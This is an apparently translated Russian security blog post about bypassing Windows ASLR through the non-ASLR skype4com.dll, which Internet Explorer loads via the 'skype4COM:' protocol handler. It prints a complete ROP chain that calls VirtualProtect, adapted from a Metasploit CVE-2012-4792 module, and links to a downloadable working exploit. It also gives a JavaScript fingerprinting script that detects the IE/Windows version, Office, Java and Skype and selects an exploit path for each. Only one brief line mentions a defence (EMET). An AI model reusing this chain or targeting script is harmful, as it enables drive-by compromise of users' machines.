Обход ASLR в Windows посредством обработчика протокола «skype4COM»

Обход ASLR в Windows посредством обработчика протокола «skype4COM»

В процессе использования утилиты SysInternals Autoruns для исследования проблемы, не имеющей отношения к нашей теме, я обратил внимание на два обработчика протоколов, установленных Skype.

Автор: GreyHatHacker.NET

В процессе использования утилиты SysInternals Autoruns для исследования проблемы, не имеющей отношения к нашей теме, я обратил внимание на два обработчика протоколов, установленных Skype. Зная, что эти обработчики могут быть установлены браузером Internet Explorer без каких-либо уведомлений, я решил проверить, установлен ли у этих библиотек флаг IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE. Оказывается, у библиотеки skype4com.dll этот флаг не установлен, а значит, ее можно использовать для обхода ASLR в Windows. Так что я уселся за написание и тестирование ROP-эксплоита.

Быстрая проверка на предмет загрузки обработчика может быть выполнена посредством следующего кода:

<SCRIPT language="JavaScript">
location.href = 'skype4com:'
</SCRIPT>

Filename - Skype4COM.dll
Path - C:\Program Files\Common Files\Skype\
MD5 hash - 6e04c50ca4a3fa2cc812cd7ab84eb6d7
Size - 2,156,192 bytes
Signed - 03 November 2011 11:46:40
Version - 1.0.38.0

А это моя ROP-программа без пустых указателей:

0x28025062 # POP EBX # RETN
0xa13fcde1 # 0xA13FCDE1
0x28024f71 # POP EAX # RETN
0x5ec03420 # 0x5EC03420
0x28027b5c # ADD EBX,EAX # XOR EAX,EAX # RETN (EBX=0x201, 513 bytes)
0x28024f71 # POP EAX # RETN
0xa13fcde1 # 0xA13FCDE1
0x280b4654 # ADD EAX,5EC0325F # RETN
0x28099a83 # MOV EDX,EAX # MOV EAX,ESI # POP ESI # RETN (EDX=0x40)
0x41414141 # Compensate
0x28017271 # POP ECX # RETN
0x280de198 # VirtualProtect() pointer [IAT]
0x28027b5b # MOV EAX,DWORD PTR DS:[ECX] # RETN
0x28041824 # XCHG EAX,ESI # ADD EAX,48C48300 # RETN 0x08
0x2806405a # POP EBP # RETN
0x41414141 # Compensate
0x41414141 # Compensate
0x280bc55b # & push esp # ret
0x28017271 # POP ECX # RETN
0x28126717 # &Writable location
0x28098730 # POP EDI # RETN
0x28098731 # RETN (ROP NOP)
0x28024f71 # POP EAX # RETN
0x90909090 # nop
0x28043527 # PUSHAD # RETN

Я создал эксплоит, используя эту ROP-программу, позаимствованную из модуля «CButton Object Use-After-Free vulnerability» (CVE-2012-4792), который находится на сайте Metasploit. Свою поделку я тестировал в операционной системе Windows 7 Enterprise (32bit) на виртуальной машине, на которой установлена последняя версия Скайпа (6.2.59.106). Эксплоит можно загрузить отсюда, пароль «exploit», md5-хэш архива (zip-файл): 4d5735ff26b769abe1b02f74e2871911.

Как защититься? Я уже говорил об этом и повторю еще раз… Используйте EMET-средства и как можно скорее.

Немного отвлечемся от темы. Я изучал html-код опубликованный Pastebin для эксплоита CVE-2012-4792, и мне понравился метод проверки на предмет присутствия Офиса 2010 или 2007. В некоторых постах блога было неясен механизм работы процедуры по проверке наличия Офиса в системе. Однако на самом деле было все просто: определялось, какую версию hxds.dll использовать для ROP-программы для конкретной версии Офиса. (У меня нет этих эксплоитов, чтобы подтвердить мое предположение, однако я почти уверен, так оно и есть).

Для Офиса 2010 устанавливается четыре объекта OpenDocuments ActiveX:

SharePoint.OpenDocuments.4
SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

а для Офиса 2007 только три:

SharePoint.OpenDocuments.3
SharePoint.OpenDocuments.2
SharePoint.OpenDocuments.1

То есть, по сути, если JavaScript сможет загрузить «SharePoint.OpenDocuments.4», тогда можно утверждать, что в системе установлен Офис 2010. Так как эти элементы управления ActiveX могут быть загружены без каких-либо разрешений, никакие сообщения не выводятся. Ниже представлен простой скрипт, который можно использовать в Windows 7 с браузером IE8 для проверки на предмет присутствия в системе Офиса 2007/2010 или Java 6. Что касается элементов управления ActiveX для Скайпа, то ни один из них нельзя загрузить без разрешения, и я не мог найти метод проверки присутствия этих элементов в системе без появления сообщения в Internet Explorer. Если вы знакомы с этими методами, пожалуйста, поделитесь ими в комментариях.

<HTML>
<SCRIPT language="JavaScript">
//
//
if (CheckIEOSVersion() == "ie8w7")
{
if (CheckOfficeVersion() == "Office2010")
{
// Exploit call here
}
else if (CheckOfficeVersion() == "Office2007")
{
// Exploit call here
}
else if (JavaVersion() == "Java6")
{
// Exploit call here
}
else if (SkypeCheck() == "")
{
// Exploit call here
}
}
//
//
function CheckIEOSVersion()
{
var agent = navigator.userAgent.toUpperCase();
var os_ie_ver = "";
//
if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 7') > -1))
os_ie_ver = "ie7wxp";
if ((agent.indexOf('NT 5.1') > -1)&&(agent.indexOf('MSIE 8') > -1))
os_ie_ver = "ie8wxp";
if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 7') > -1))
os_ie_ver = "ie7wv";
if ((agent.indexOf('NT 6.0') > -1)&&(agent.indexOf('MSIE 8') > -1))
os_ie_ver = "ie8wv";
if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 8') > -1))
os_ie_ver = "ie8w7";
if ((agent.indexOf('NT 6.1') > -1)&&(agent.indexOf('MSIE 9') > -1))
os_ie_ver = "ie9w7";
if ((agent.indexOf('NT 6.2') > -1)&&(agent.indexOf('MSIE 10') > -1))
os_ie_ver = "ie10w8";
return os_ie_ver;
}
//
//
function CheckOfficeVersion()
{
var offver = "";
var checka = 0;
var checkb = 0;
//
try {
checka = new ActiveXObject("SharePoint.OpenDocuments.4");
} catch (e) {}
try {
checkb = new ActiveXObject("SharePoint.OpenDocuments.3");
} catch (e) {}
//
if ((typeof checka) == "object" && (typeof checkb) == "object")
offver = "Office2010";
else if ((typeof checka) == "number" && (typeof checkb) == "object")
offver = "Office2007";
//
return offver;
}
//
//
function JavaVersion()
{
var javver = "";
var javaa = 0;
//
try {
javaa = new ActiveXObject("JavaWebStart.isInstalled.1.6.0.0");
} catch (e) {}
//
if ((typeof javaa) == "object")
javver = "Java6";
//
return javver;
}
//
//
function SkypeCheck()
{
var skypever = "";
return skypever;
}
//
//
</SCRIPT>
</HTML> 

Если вам нравится играть в опасную игру, присоединитесь к нам - мы научим вас правилам!

Подписаться